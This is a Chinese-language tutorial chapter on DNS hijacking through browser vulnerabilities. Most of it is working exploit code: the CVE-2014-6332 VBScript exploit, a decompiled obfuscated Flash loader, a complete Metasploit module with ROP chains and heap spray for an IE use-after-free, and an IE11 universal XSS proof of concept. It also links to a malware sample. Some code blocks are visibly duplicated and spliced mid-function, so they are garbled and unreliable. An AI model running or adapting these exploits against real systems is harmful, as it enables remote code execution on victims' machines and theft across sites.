1.11.2、通过浏览器漏洞进行 dns 劫持
1.11.2.1、 win95+ie3-win10+ie11 全版本执行漏洞
CVE-2014-6332 alliedve.htm allie(win95+ie3-win10+ie11) dve copy by yuange in 2009
测试代码:

//*
allie(win95+ie3-win10+ie11) dve copy by yuange in 2009.
https://twitter.com/yuange75
http://hi.baidu.com/yuange1975
*//
<!doctype html>
<html>
<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE8" >
<head>
</head>
<body>
<SCRIPT LANGUAGE="VBScript">
function runmumaa()
On Error Resume Next
set shell=createobject("Shell.Application")
shell.ShellExecute "notepad.exe"
end function
</script>
<SCRIPT LANGUAGE="VBScript">
dim aa()
dim ab()
dim a0
dim a1
dim a2
dim a3
dim win9x
dim intVersion
dim rnda
dim funclass
dim myarray
Begin()
function Begin()
On Error Resume Next
info=Navigator.UserAgent
if(instr(info,"Win64")>0) then
exit function
end if
if (instr(info,"MSIE")>0) then
intVersion = CInt(Mid(info, InStr(info, "MSIE") + 5, 2))
else
exit function
end if
win9x=0
BeginInit()
If Create()=True Then
myarray= chrw(01)&chrw(2176)&chrw(01)&chrw(00)&chrw(00)&chrw(00)&chrw(00)&chrw(00)
myarray=myarray&chrw(00)&chrw(32767)&chrw(00)&chrw(0)
if(intVersion<4) then
document.write("<br> IE")
document.write(intVersion)
runshellcode()
else
setnotsafemode()
end if
end if
end function
function BeginInit()
Randomize()
redim aa(5)
redim ab(5)
a0=13+17*rnd(6)
a3=7+3*rnd(5)
end function
function Create()
On Error Resume Next
dim i
Create=False
For i = 0 To 400
If Over()=True Then
' document.write(i)
Create=True
end if
win9x=0
BeginInit()
If Create()=True Then
myarray= chrw(01)&chrw(2176)&chrw(01)&chrw(00)&chrw(00)&chrw(00)&chrw(00)&chrw(00)
myarray=myarray&chrw(00)&chrw(32767)&chrw(00)&chrw(0)
if(intVersion<4) then
document.write("<br> IE")
document.write(intVersion)
runshellcode()
else
setnotsafemode()
end if
end if
end function
function BeginInit()
Randomize()
redim aa(5)
redim ab(5)
a0=13+17*rnd(6)
a3=7+3*rnd(5)
end function
function Create()
On Error Resume Next
dim i
Create=False
For i = 0 To 400
If Over()=True Then
' document.write(i)
Create=True
aa(a1+2)(i+&h11c+k)=ab(4)
redim Preserve aa(a0)
j=0
j=readmemo(i+&h120+k)
Exit for
end if
next
ab(2)=1.69759663316747E-313
runmumaa()
end function
function Over()
On Error Resume Next
dim type1,type2,type3
Over=False
a0=a0+a3
a1=a0+2
a2=a0+&h8000000
redim Preserve aa(a0)
redim ab(a0)
redim Preserve aa(a2)
type1=1
ab(0)=1.123456789012345678901234567890
aa(a0)=10
If(IsObject(aa(a1-1)) = False) Then
if(intVersion<4) then
mem=cint(a0+1)*16
j=vartype(aa(a1-1))
if((j=mem+4) or (j*8=mem+8)) then
if(vartype(aa(a1-1))<>0) Then
If(IsObject(aa(a1)) = False ) Then
type1=VarType(aa(a1))
end if
end if
else
redim Preserve aa(a0)
exit function
end if
else
if(vartype(aa(a1-1))<>0) Then
If(IsObject(aa(a1)) = False ) Then
type1=VarType(aa(a1))
end if
end if
end if
end if
If(type1=&h2f66) Then
Over=True
End If
If(type1=&hB9AD) Then
Over=True
win9x=1
End If
redim Preserve aa(a0)
end function
function ReadMemo(add)
On Error Resume Next
redim Preserve aa(a2)
ab(0)=0
aa(a1)=add+4
ab(0)=1.69759663316747E-313
ReadMemo=lenb(aa(a1))
ab(0)=0
redim Preserve aa(a0)
end function
</script>
</body>
</html>

通过对以上代码进行深入改进,我们可以将 dns 劫持代码加入实现通过浏览器进行 dns 劫持

代码:暂不放出

1.11.2、通过浏览器漏洞进行 dns 劫持

1.11.2.1、 win95+ie3-win10+ie11 全版本执行漏洞

1.11.2.2、IE7-IE8 0day

作者对整个漏洞的利用进行了一些分析:

http://eromang.zataz.com/2012/09/16/zero-day-season-is-really-not-over-yet/

但是貌似作者对 111.exe 没有分析清楚,应该是一个后门远控之类的东西,而且从整个描述看来,貌似是
国内人整的哟,已经成功使用 Metasploit 实现了该漏洞的利用

黑帽百科|存在于黑与白的技术研讨(一) IT教程 第39张

附 111.exe 的下载地址:

http://jsunpack.jeek.org/?report=50c43f5297aaab2a21309a88c3007c3318ea9f17

Moh2010.swf 反编译 AS 代码:

//ActionScript 3.0
// class Ϣ ߐ
package
{
import flash.display.*;
import flash.events.*;
import flash.net.*;
import flash.system.*;
import flash.utils.*;
import laan.smart.proxies.filesystem.*;
public dynamic class Ϣ ߐ extends flash.display.MovieClip
{
public function Ϣ ߐ ()
{
super();
if (flash.system.Security.sandboxType != "application")
{
flash.system.Security.allowDomain("*");
}
if (stage)
{
this.init();
}
else
{
addEventListener(flash.events.Event.ADDED_TO_STAGE, this.init);
}
return;
}
internal function init(arg1:flash.events.Event):void
{
var loc6:*=null;
var loc5:*=null;
var loc4:*=null;
var loc3:*=null;
var loc2:*=null;
var loc1:*=null;
loc4 = null;
loc5 = null;
loc6 = 0;
loc1 = this.init[0];
loc2 = this.init[1];
loc3 = 3;
while (loc3-- > 0)
{
(loc4 = new flash.utils.ByteArray()).writeBytes(loc2);
loc4.position = loc4.length;
loc4.endian = flash.utils.Endian.LITTLE_ENDIAN;
loc5 = new flash.utils.ByteArray();
loc6 = Math.random() * Math.min(loc1, 2 * 1024 * 1024);
while (loc5.length < loc6)
{
loc5.writeBytes(loc2, Math.random() * loc2.length / 3);
}
loc5.length = loc6;
if (loc5.length >= 63)
{
loc4.writeShort(87 << 6 | 63);
loc4.writeUnsignedInt(loc5.length);
}
else
{
loc4.writeShort(87 << 6 | loc5.length);
}
loc4.writeBytes(loc5);
loc4.writeShort(1 << 6);
loc4.writeShort(0);
loc4.position = 4;
loc4.writeUnsignedInt(loc4.length);
this.init.writeBytes(loc4);
if (!(this.init.length > 30 * 1024 * 1024))
{
continue;
}
removeEventListener(flash.events.Event.ENTER_FRAME, this.init);
break;
}
return;
}
internal function init(arg1:flash.utils.ByteArray):void
{
var loc3:*=null;
var loc2:*=null;
var loc1:*=null;
this.init = [];
loc1 = arg1.readUnsignedInt();
loc2 = arg1.readUnsignedInt();
loc3 = new flash.utils.ByteArray();
arg1.readBytes(loc3, 0, loc2);
this.init = new flash.utils.ByteArray();
this.init.endian = flash.utils.Endian.LITTLE_ENDIAN;
this.init = [loc1, loc3];
addEventListener(flash.events.Event.ENTER_FRAME, this.init);
this.init(null);
return;
}
internal function init(arg1:flash.events.Event=null):void
{
var loc1:*=null;
loc1 = null;
if (arg1)
{
removeEventListener(flash.events.Event.ADDED_TO_STAGE, this.init);
}
this.LOADING_BAR_CLASS = new flash.system.LoaderContext(false, flash.system.Applica
tionDomain.currentDomain);
if (this.LOADING_BAR_CLASS.hasOwnProperty("allowLoadBytesCodeExecution"))
{
Object(this.LOADING_BAR_CLASS).allowLoadBytesCodeExecution = true;
}
if (this.LOADING_BAR_CLASS.hasOwnProperty("parameters"))
{
Object(this.LOADING_BAR_CLASS)["parameters"] = stage.loaderInfo.parameters;
}
flash.display.StageAlign.prototype["@doswf__s"] = stage;
flash.display.StageAlign.prototype.setPropertyIsEnumerable("@doswf__s", false);
flash.display.LoaderInfo.prototype["@doswf__u"] = stage.loaderInfo.url;
flash.display.LoaderInfo.prototype.setPropertyIsEnumerable("@doswf__u", false);
flash.display.LoaderInfo.prototype["@doswf__p"] = stage.loaderInfo.parameters;
flash.display.LoaderInfo.prototype.setPropertyIsEnumerable("@doswf__p", false);
if (flash.system.ApplicationDomain.currentDomain.hasDefinition(LOADING_BAR_CLASS))
{
loc1 = flash.system.ApplicationDomain.currentDomain.getDefinition(LOADING_BAR_CL
ASS) as Class;
this.LOADING_BAR_CLASS = new loc1() as flash.display.DisplayObject;
addChild(this.LOADING_BAR_CLASS);
stop();
addEventListener(flash.events.Event.ENTER_FRAME, this.init);
}
else
{
this.init();
}
return;
}
internal function init():void
{
var loc1:*=null;
loc1 = this.init(new Ϣ ߑ ());
loc1.uncompress();
this.init(loc1);
return;
}
internal function init(arg1:flash.events.Event):void
{
var loc1:*=null;
loc1 = loaderInfo.bytesLoaded / loaderInfo.bytesTotal;
Object(this.LOADING_BAR_CLASS).setProgress(this, loc1);
if (loc1 == 1)
{
removeEventListener(flash.events.Event.ENTER_FRAME, this.init);
removeChild(this.LOADING_BAR_CLASS);
gotoAndStop(2);
this.init();
}
return;
}
internal function init(arg1:flash.utils.ByteArray):void
{
var loc3:*=null;
var loc2:*=null;
var loc1:*=null;
arg1.endian = flash.utils.Endian.LITTLE_ENDIAN;
arg1.position = 0;
if (arg1.readBoolean())
{
this.init(arg1);
}
this.init = arg1.readBoolean();
loc1 = arg1.readUnsignedInt();
loc2 = new flash.utils.ByteArray();
arg1.readBytes(loc2, 0, loc1);
this.LOADING_BAR_CLASS = new flash.utils.ByteArray();
arg1.readBytes(this.LOADING_BAR_CLASS);
(loc3 = new flash.display.Loader()).contentLoaderInfo.addEventListener(flash.event
s.Event.INIT, this.init);
loc3.contentLoaderInfo.addEventListener(flash.events.ProgressEvent.PROGRESS, this.i
nit);
loc3.loadBytes(loc2, this.LOADING_BAR_CLASS);
return;
}
internal function init(arg1:flash.events.Event):void
{
var loc6:*=null;
var loc5:*=null;
var loc4:*=null;
var loc3:*=null;
var loc2:*=null;
var loc1:*=null;
loc3 = null;
loc4 = 0;
loc5 = undefined;
if (arg1 is flash.events.ProgressEvent)
{
this.init = arg1 as flash.events.ProgressEvent;
return;
}
loc1 = arg1.target as flash.display.LoaderInfo;
loc1.removeEventListener(flash.events.Event.INIT, this.init);
loc1.removeEventListener(flash.events.ProgressEvent.PROGRESS, this.init);
loc2 = loc1.loader;
if (this.LOADING_BAR_CLASS)
{
loc2 = new flash.display.Loader();
loc2.contentLoaderInfo.addEventListener(flash.events.Event.INIT, this.init);
loc2.contentLoaderInfo.addEventListener(flash.events.ProgressEvent.PROGRESS, th
is.init);
loc2.loadBytes(this.LOADING_BAR_CLASS, this.LOADING_BAR_CLASS);
this.LOADING_BAR_CLASS = null;
return;
}
if (parent is flash.display.Stage)
{
if (this.init)
{
parent.addChildAt(loc2.content, 0);
parent.removeChild(this);
}
else
{
addChild(loc2);
}
}
else if (this.init)
{
addChildAt(loc2.content, 0);
}
else
{
addChildAt(loc2, 0);
}
if (this.init && this.init)
{
if ((loc3 = loc1.content as flash.display.DisplayObjectContainer).hasOwnProperty
("@doswf__lph"))
{
(loc6 = Object(loc3))["@doswf__lph"](this.init);
}
else
{
loc4 = 0;
while (loc4 < loc3.numChildren)
{
if ((loc5 = loc3.getChildAt(loc4)).hasOwnProperty("@doswf__lph"))
{
(loc6 = loc5)["@doswf__lph"](this.init);
}
++loc4;
}
}
}
return;
}
internal function init(arg1:flash.utils.ByteArray):flash.utils.ByteArray
{
var loc3:*=null;
var loc2:*=null;
var loc1:*=null;
loc3 = 0;
arg1.endian = flash.utils.Endian.LITTLE_ENDIAN;
arg1.position = 0;
this.init = (arg1.readUnsignedByte() - 1);
this.init = (arg1.readUnsignedByte() - 1);
this.init = arg1.readUnsignedInt() - 2;
this.init = arg1.readUnsignedInt() - 2;
loc1 = new flash.utils.ByteArray();
loc1.writeBytes(arg1, arg1.length - this.init, this.init);
loc2 = 0;
for (;;)
{
loc3 = 0;
while (loc3 < this.init)
{
loc1[loc2] = loc1[loc2] ^ this.init;
++loc2;
if (loc2 >= this.init)
{
break;
}
loc3 = loc3 + 5;
}
loc2 = loc2 + this.init;
if (!(loc2 >= this.init))
{
continue;
}
break;
}
return loc1;
}
internal static const LOADING_BAR_CLASS:String="_doswf_package.LoadingBarBase";
internal var init:uint;
internal var init:uint;
internal var init:uint;
internal var init:*;
internal var init:uint;
internal var init:*;
internal var init:*;
internal var init:*;
internal var LOADING_BAR_CLASS:*;
internal var LOADING_BAR_CLASS:*;
internal var LOADING_BAR_CLASS:*;
}
}
// class Ϣ ߑ
package
{
import flash.utils.*;
public class Ϣ ߑ extends flash.utils.ByteArray
{
public function Ϣ ߑ ()
{
super();
return;
}
}
}

Metasploit 脚本:

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::Remote::BrowserAutopwn
autopwn_info({
:ua_name => HttpClients::IE,
:ua_minver => "7.0",
:ua_maxver => "9.0",
:javascript => true,
:rank => GoodRanking
})
def initialize(info={})
super(update_info(info,
'Name' => "Microsoft Internet Explorer execCommand Use
-After-Free Vulnerability ",
'Description' => %q{
This module exploits a vulnerability found in Microso
ft Internet Explorer (MSIE). When
rendering an HTML page, the CMshtmlEd object gets del
eted in an unexpected manner,
but the same memory is reused again later in the CMsh
tmlEd::Exec() function, leading
to a use-after-free condition. Please note that this
vulnerability has
been exploited in the wild since Sep 14 2012, and the
re is currently no official
patch for it.
},
'License' => MSF_LICENSE,
'Author' =>
[
'unknown', # Some secret ninja
'eromang', # First public discovery
'binjo',
'sinn3r', # Metasploit
'juan vazquez' # Metasploit
],
'References' =>
[
[ 'OSVDB', '85532' ],
[ 'URL', 'http://eromang.zataz.com/2012/09
/16/zero-day-season-is-really-not-over-yet/' ],
[ 'URL', 'http://blog.vulnhunt.com/index.p
hp/2012/09/17/ie-execcommand-fuction-use-after-free-vulnerability-0day/'],
[ 'URL', 'http://metasploit.com' ]
],
'Payload' =>
{
'PrependEncoder' => "x81xc4x54xf2xff
xff" # Stack adjustment # add esp, -3500
},
'DefaultOptions' =>
{
'ExitFunction' => "none",
'InitialAutoRunScript' => 'migrate -f',
},
'Platform' => 'win',
'Targets' =>
[
[ 'Automatic', {} ],
[ 'IE 7 on Windows XP SP3', { 'Rop' => nil,
'Offset' => '0x5fa', 'Random' => false } ],
[ 'IE 8 on Windows XP SP3', { 'Rop' => :msv
crt, 'Offset' => '0x5f4', 'Random' => false } ],
[ 'IE 7 on Windows Vista', { 'Rop' => nil,
'Offset' => '0x5fa', 'Random' => false } ],
[ 'IE 8 on Windows Vista', { 'Rop' => :jr
e, 'Offset' => '0x5f4', 'Random' => false } ],
[ 'IE 8 on Windows 7', { 'Rop' => :jr
e, 'Offset' => '0x5f4', 'Random' => false } ],
[ 'IE 9 on Windows 7', { 'Rop' => :jr
e, 'Offset' => '0x5fc', 'Random' => true } ]
],
'Privileged' => false,
'DisclosureDate' => "Sep 14 2012", # When it was spotted in the
wild by eromang
'DefaultTarget' => 0))
end
def get_target(agent)
#If the user is already specified by the user, we'll just use that
return target if target.name != 'Automatic'
if agent =~ /NT 5.1/ and agent =~ /MSIE 7/
return targets[1] #IE 7 on Windows XP SP3
elsif agent =~ /NT 5.1/ and agent =~ /MSIE 8/
return targets[2] #IE 8 on Windows XP SP3
elsif agent =~ /NT 6.0/ and agent =~ /MSIE 7/
return targets[3] #IE 7 on Windows Vista
elsif agent =~ /NT 6.0/ and agent =~ /MSIE 8/
return targets[4] #IE 8 on Windows Vista
elsif agent =~ /NT 6.1/ and agent =~ /MSIE 8/
return targets[5] #IE 8 on Windows 7
elsif agent =~ /NT 6.1/ and agent =~ /MSIE 9/
return targets[6] #IE 9 on Windows 7
else
return nil
end
end
def junk(n=4)
return rand_text_alpha(n).unpack("V")[0].to_i
end
def nop
return make_nops(4).unpack("V")[0].to_i
end
def get_payload(t, cli)
code = payload.encoded
# No rop. Just return the payload.
return code if t['Rop'].nil?
# Both ROP chains generated by mona.py - See corelan.be
case t['Rop']
when :msvcrt
print_status("Using msvcrt ROP")
exec_size = code.length
stack_pivot = [
0x77c4e393, # RETN
0x77c4e392, # POP EAX # RETN
0x77c15ed5, # XCHG EAX, ESP # RETN
].pack("V*")
rop =
[
0x77C21891, # POP ESI # RETN
0x0c0c0c04, # ESI
0x77c4e392, # POP EAX # RETN
0x77c11120, # <- *&VirtualProtect()
0x77c2e493, # MOV EAX,DWORD PTR DS:[EAX] # POP EBP #
RETN
junk,
0x77c2dd6c, # XCHG EAX,ESI # ADD [EAX], AL # RETN
0x77c4ec00, # POP EBP # RETN
0x77c35459, # ptr to 'push esp # ret'
0x77c47705, # POP EBX # RETN
exec_size, # EBX
0x77c3ea01, # POP ECX # RETN
0x77c5d000, # W pointer (lpOldProtect) (-> ecx)
0x77c46100, # POP EDI # RETN
0x77c46101, # ROP NOP (-> edi)
0x77c4d680, # POP EDX # RETN
0x00000040, # newProtect (0x40) (-> edx)
0x77c4e392, # POP EAX # RETN
nop, # NOPS (-> eax)
0x77c12df9, # PUSHAD # RETN
].pack("V*")
when :jre
print_status("Using JRE ROP")
exec_size = 0xffffffff - code.length + 1
if t['Random']
stack_pivot = [
0x0c0c0c0c, # 0c0c0c08
0x7c347f98, # RETN
0x7c347f97, # POP EDX # RETN
0x7c348b05 # XCHG EAX, ESP # RET
].pack("V*")
0x77c4e392, # POP EAX # RETN
0x77c11120, # <- *&VirtualProtect()
0x77c2e493, # MOV EAX,DWORD PTR DS:[EAX] # POP EBP #
RETN
junk,
0x77c2dd6c, # XCHG EAX,ESI # ADD [EAX], AL # RETN
0x77c4ec00, # POP EBP # RETN
0x77c35459, # ptr to 'push esp # ret'
0x77c47705, # POP EBX # RETN
exec_size, # EBX
0x77c3ea01, # POP ECX # RETN
0x77c5d000, # W pointer (lpOldProtect) (-> ecx)
0x77c46100, # POP EDI # RETN
0x77c46101, # ROP NOP (-> edi)
0x77c4d680, # POP EDX # RETN
0x00000040, # newProtect (0x40) (-> edx)
0x77c4e392, # POP EAX # RETN
nop, # NOPS (-> eax)
0x77c12df9, # PUSHAD # RETN
].pack("V*")
when :jre
print_status("Using JRE ROP")
exec_size = 0xffffffff - code.length + 1
if t['Random']
stack_pivot = [
0x0c0c0c0c, # 0c0c0c08
0x7c347f98, # RETN
0x7c347f97, # POP EDX # RETN
0x7c348b05 # XCHG EAX, ESP # RET
].pack("V*")
else
stack_pivot = [
0x7c347f98, # RETN
0x7c347f97, # POP EDX # RETN
0x7c348b05 # XCHG EAX, ESP # RET
].pack("V*")
end
rop =
[
0x7c37653d, # POP EAX # POP EDI # POP ESI # POP EBX #
POP EBP # RETN
exec_size, # Value to negate, will become 0x0000020
1 (dwSize)
0x7c347f98, # RETN (ROP NOP)
0x7c3415a2, # JMP [EAX]
0xffffffff,
0x7c376402, # skip 4 bytes
0x7c351e05, # NEG EAX # RETN
0x7c345255, # INC EBX # FPATAN # RETN
0x7c352174, # ADD EBX,EAX # XOR EAX,EAX # INC EAX #
RETN
0x7c344f87, # POP EDX # RETN
0xffffffc0, # Value to negate, will become 0x0000004
0
0x7c351eb1, # NEG EDX # RETN
0x7c34d201, # POP ECX # RETN
0x7c38b001, # &Writable location
0x7c347f97, # POP EAX # RETN
0x7c37a151, # ptr to &VirtualProtect() - 0x0EF [IAT
msvcr71.dll]
0x7c378c81, # PUSHAD # ADD AL,0EF # RETN
0x7c345c30, # ptr to 'push esp # ret '
].pack("V*")
end
code = stack_pivot + rop + code
return code
end
# Spray published by corelanc0d3r
# Exploit writing tutorial part 11 : Heap Spraying Demystified
# See https://www.corelan.be/index.php/2011/12/31/exploit-writing-tutorial-part-11-h
eap-spraying-demystified/
def get_random_spray(t, js_code, js_nops)
spray = <<-JS
function randomblock(blocksize)
{
var theblock = "";
for (var i = 0; i < blocksize; i++)
{
theblock += Math.floor(Math.random()*90)+10;
}
return theblock;
}
function tounescape(block)
{
var blocklen = block.length;
var unescapestr = "";
for (var i = 0; i < blocklen-1; i=i+4)
{
unescapestr += "%u" + block.substring(i,i+4);
}
return unescapestr;
}
var heap_obj = new heapLib.ie(0x10000);
var code = unescape("#{js_code}");
var nops = unescape("#{js_nops}");
while (nops.length < 0x80000) nops += nops;
var offset_length = #{t['Offset']};
for (var i=0; i < 0x1000; i++) {
var padding = unescape(tounescape(randomblock(0x1000)));
while (padding.length < 0x1000) padding+= padding;
var junk_offset = padding.substring(0, offset_length);
var single_sprayblock = junk_offset + code + nops.substring(0,
0x800 - code.length - junk_offset.length);
while (single_sprayblock.length < 0x20000) single_sprayblock +=
single_sprayblock;
sprayblock = single_sprayblock.substring(0, (0x40000-6)/2);
heap_obj.alloc(sprayblock);
}
JS
return spray
end
def get_spray(t, js_code, js_nops)
js = <<-JS
var heap_obj = new heapLib.ie(0x20000);
var code = unescape("#{js_code}");
var nops = unescape("#{js_nops}");
while (nops.length < 0x80000) nops += nops;
var offset = nops.substring(0, #{t['Offset']});
var shellcode = offset + code + nops.substring(0, 0x800-code.length-offse
t.length);
while (shellcode.length < 0x40000) shellcode += shellcode;
var block = shellcode.substring(0, (0x80000-6)/2);
heap_obj.gc();
for (var i=1; i < 0x300; i++) {
heap_obj.alloc(block);
}
var overflow = nops.substring(0, 10);
JS
end
def load_html1(cli, my_target)
p = get_payload(my_target, cli)
js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(my_target.arch))
js_nops = Rex::Text.to_unescape("x0c"*4, Rex::Arch.endian(my_target.arc
h))
js_r_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(my_targe
t.arch))
if my_target['Random']
js = get_random_spray(my_target, js_code, js_r_nops)
else
js = get_spray(my_target, js_code, js_nops)
end
js = heaplib(js, {:noobfu => true})
html = <<-EOS
<html>
<body>
<script>
var arrr = new Array();
arrr[0] = window.document.createElement("i
mg");
arrr[0]["src"] = "#{Rex::Text.rand_text_al
pha(1)}";
</script>
<iframe src="#{this_resource}/#{@html2_name}"></ifra
me>
<script>
#{js}
</script>
</body>
</html>
EOS
return html
end
def load_html2
html = %Q|
<HTML>
<script>
function funcB() {
document.execCommand("selectAll");
};
function funcA() {
document.write("#{Rex::Text.rand_text_alph
a(1)}");
parent.arrr[0].src = "YMjf\u0c08\u0c0cKD
ogjsiIejengNEkoPDjfiJDIWUAzdfghjAAuUFGGBSIPPPUDFJKSOQJGH";
}
</script>
<body onload='funcB();' onselect='funcA()'>
<div contenteditable='true'>
a
</div>
</body>
</HTML>
|
return html
end
def this_resource
r = get_resource
return ( r == '/') ? '' : r
end
def on_request_uri(cli, request)
print_status request.headers['User-Agent']
agent = request.headers['User-Agent']
my_target = get_target(agent)
# Avoid the attack if the victim doesn't have the same setup we're targeti
ng
if my_target.nil?
print_error("Browser not supported, sending a 404: #{agent.to_
s}")
send_not_found(cli)
return
end
vprint_status("Requesting: #{request.uri}")
if request.uri =~ /#{@html2_name}/
print_status("Loading #{@html2_name}")
html = load_html2
elsif request.uri =~ /#{@html1_name}/
print_status("Loading #{@html1_name}")
html = load_html1(cli, my_target)
elsif request.uri =~ //$/ or request.uri =~ /#{this_resource}$/
print_status("Redirecting to #{@html1_name}")
send_redirect(cli, "#{this_resource}/#{@html1_name}")
return
else
send_not_found(cli)
return
end
html = html.gsub(/^tt/, '')
send_response(cli, html, {'Content-Type'=>'text/html'})
end
def exploit
@html1_name = "#{Rex::Text.rand_text_alpha(5)}.html"
@html2_name = "#{Rex::Text.rand_text_alpha(6)}.html"
super
end
end
=begin
0:008> r
eax=00000000 ebx=0000001f ecx=002376c8 edx=0000000d esi=00000000 edi=0c0c0c08
eip=637d464e esp=020bbe80 ebp=020bbe8c iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
mshtml!CMshtmlEd::Exec+0x134:
637d464e 8b07 mov eax,dword ptr [edi] ds:0023:0c0c0c08=????????
0:008> u
mshtml!CMshtmlEd::Exec+0x134:
637d464e 8b07 mov eax,dword ptr [edi]
637d4650 57 push edi
637d4651 ff5008 call dword ptr [eax+8]
0:008> k
ChildEBP RetAddr
020bbe8c 637d4387 mshtml!CMshtmlEd::Exec+0x134
020bbebc 637be2fc mshtml!CEditRouter::ExecEditCommand+0xd6
020bc278 638afda7 mshtml!CDoc::ExecHelper+0x3c91
020bc298 638ee2a9 mshtml!CDocument::Exec+0x24
020bc2c0 638b167b mshtml!CBase::execCommand+0x50
020bc2f8 638e7445 mshtml!CDocument::execCommand+0x93
020bc370 636430c9 mshtml!Method_VARIANTBOOLp_BSTR_oDoVARIANTBOOL_o0oVARIANT+0x149
020bc3e4 63643595 mshtml!CBase::ContextInvokeEx+0x5d1
020bc410 63643832 mshtml!CBase::InvokeEx+0x25
020bc460 635e1cdc mshtml!DispatchInvokeCollection+0x14b
020bc4a8 63642f30 mshtml!CDocument::InvokeEx+0xf1
020bc4d0 63642eec mshtml!CBase::VersionedInvokeEx+0x20
020bc520 633a6d37 mshtml!PlainInvokeEx+0xea
020bc560 633a6c75 jscript!IDispatchExInvokeEx2+0xf8
020bc59c 633a9cfe jscript!IDispatchExInvokeEx+0x6a
020bc65c 633a9f3c jscript!InvokeDispatchEx+0x98
020bc690 633a77ff jscript!VAR::InvokeByName+0x135
020bc6dc 633a85c7 jscript!VAR::InvokeDispName+0x7a
020bc708 633a9c0b jscript!VAR::InvokeByDispID+0xce
020bc8a4 633a5ab0 jscript!CScriptRuntime::Run+0x2989
=end

1.11.2.3、IE11 漏洞代码

Internet Explorer 11 on Windows 7 suffers from a same origin bypass vulnerability via universal
cross site scripting.

参考网址:http://packetstormsecurity.com/files/130208/insider3show-bypass.txt
http://www.beebeeto.com/pdb/poc-2015-0026/
漏洞演示:http://www.deusen.co.uk/items/insider3show.3362009741042107/

此 IE 漏洞使通过第三域名修改 dailymail.co.uk 的内容称为可能。
使用方式:
1. 确认弹窗弹出后,等待 3 秒后关闭。
2. 点击“Go”。
3. 7 秒后,dailymail.co.uk 的内容将被修改为“Hacked by Deusen”

黑帽百科|存在于黑与白的技术研讨(一) IT教程 第40张

POC

<title>insider3show</title>
<body style="font-family:Georgia;">
<h1>insider3show</h1>
<iframe style="display:none;" width=300 height=300 id=i name=i src="1.php"></iframe><br>
<iframe width=300 height=100 frameBorder=0 src="http://www.dailymail.co.uk/robots.txt"></ifram
e><br>
<script>
function go()
{
w=window.frames[0];
w.setTimeout("alert(eval('x=top.frames[1];r=confirm(\'Close this window after 3 seconds...\
');x.location=\'javascript:%22%3Cscript%3Efunction%20a()%7Bw.document.body.innerHTML%3D%27%3C
a%20style%3Dfont-size%3A50px%3EHacked%20by%20Deusen%3C%2Fa%3E%27%3B%7D%20function%20o()%7Bw%3D
window.open(%27http%3A%2F%2Fwww.dailymail.co.uk%27%2C%27_blank%27%2C%27top%3D0%2C%20left%3D0%2
C%20width%3D800%2C%20height%3D600%2C%20location%3Dyes%2C%20scrollbars%3Dyes%27)%3BsetTimeout(%
27a()%27%2C7000)%3B%7D%3C%2Fscript%3E%3Ca%20href%3D%27javascript%3Ao()%3Bvoid(0)%3B%27%3EGo%3C
%2Fa%3E%22\';'))",1);
}
setTimeout("go()",1000);
</script>
<b>Summary</b><br>
An Internet Explorer vulnerability is shown here:<br>
Content of dailymail.co.uk can be changed by external domain.<br>
<br>
<b>How To Use</b><br>
1. Close the popup window("confirm" dialog) after three seconds.<br>
2. Click "Go".<br>
3. After 7 seconds, "Hacked by Deusen" is actively injected into dailymail.co.uk.<br>
<br>
<b>Screenshot</b><br>
<a href="screenshot.png">screenshot.png</a><br>
<br>
<b>Technical Details</b><br>
Vulnerability: Universal Cross Site Scripting(XSS)<br>
Impact: Same Origin Policy(SOP) is completely bypassed<br>
Attack: Attackers can steal anything from another domain, and inject anything into another doma
in<br>
Tested: Jan/29/2015 Internet Explorer 11 Windows 7<br>
<br>
<h1><a rel="external nofollow" target="_blank" href="https://www.xiaohutuwb.com/wp-content/themes/begin/go.php?url=aHR0cDovL3d3dy5kZXVzZW4uY28udWsv">www.deusen.co.uk</a></h1><script type="text/javascript"
>
//<![CDATA[
try{if (!window.CloudFlare) {var CloudFlare=[{verbose:0,p:0,byc:0,owlid:"cf",bag2:1,mirage2:0,
oracle:0,paths:{cloudflare:"/cdn-cgi/nexp/dok3v=1613a3a185/"},atok:"6e87366c9054a61c3c7f1d71c9
cfb464",petok:"0fad4629f14e9e2e51da3427556c8e191894b109-1422897396-1800",zone:"deusen.co.uk",r
ocket:"0",apps:{}}];CloudFlare.push({"apps":{"ape":"9e0d475915b2fa34aea396c09e17a7eb"}});!func
tion(a,b){a=document.createElement("script"),b=document.getElementsByTagName("script")[0],a.as
ync=!0,a.src="//ajax.cloudflare.com/cdn-cgi/nexp/dok3v=919620257c/cloudflare.min.js",b.parentN
ode.insertBefore(a,b)}()}}catch(e){};
//]]>
</script>

1.11.2.4、Flash 0day

Flash 0day 漏洞(CVE-2015-0311)的详细分析
参考网址:

英文版: http://blog.trendmicro.com/trendlabs-security-intelligence/analyzing-cve-2015-0311-fl
ash-zero-day-vulnerability/
中文版:http://www.taogogo.info/?id-356.htm

我们分析截获的样本后发现,实际 Flash 文件被嵌入到一个经过高强度混淆的恶意.SWF 文件内。剥离混淆
代码后,我们全面的分析了漏洞并发现了 Exp 的运行方式。在介绍细节之前,分享一下我们的“神秘”发
现:这些代码片段竟与 CVE-2014-8439 的漏洞利用代码颇有几分相似之处。这两个漏洞利用代码极有可能
出自同一黑客之手。
漏洞根源
分析发现这是一个 UAF 类型的漏洞。这种情况下,domainMemory 引用的内存会被释放掉,攻击者能够读写
内存甚至执行任意代码。
漏洞触发的步骤如下:
创建一个 ByteArray 实例并写入大量数据,然后压缩实例内容。

黑帽百科|存在于黑与白的技术研讨(一) IT教程 第41张

从 0x200 开始覆盖 ByteArray 的压缩数据并将 ByteArray 赋予 domainMemory.

黑帽百科|存在于黑与白的技术研讨(一) IT教程 第42张

解压 ByteArray 的数据。因为上一步的操作,程序将抛出 IOError 异常。代码捕获异常然后用另一个
ByteArray 保存释放后的内存地址,接下来 ByteArray 被 0xBBBBBBBB 填充。

黑帽百科|存在于黑与白的技术研讨(一) IT教程 第43张

清除 ByteArray 内的占位符数据.

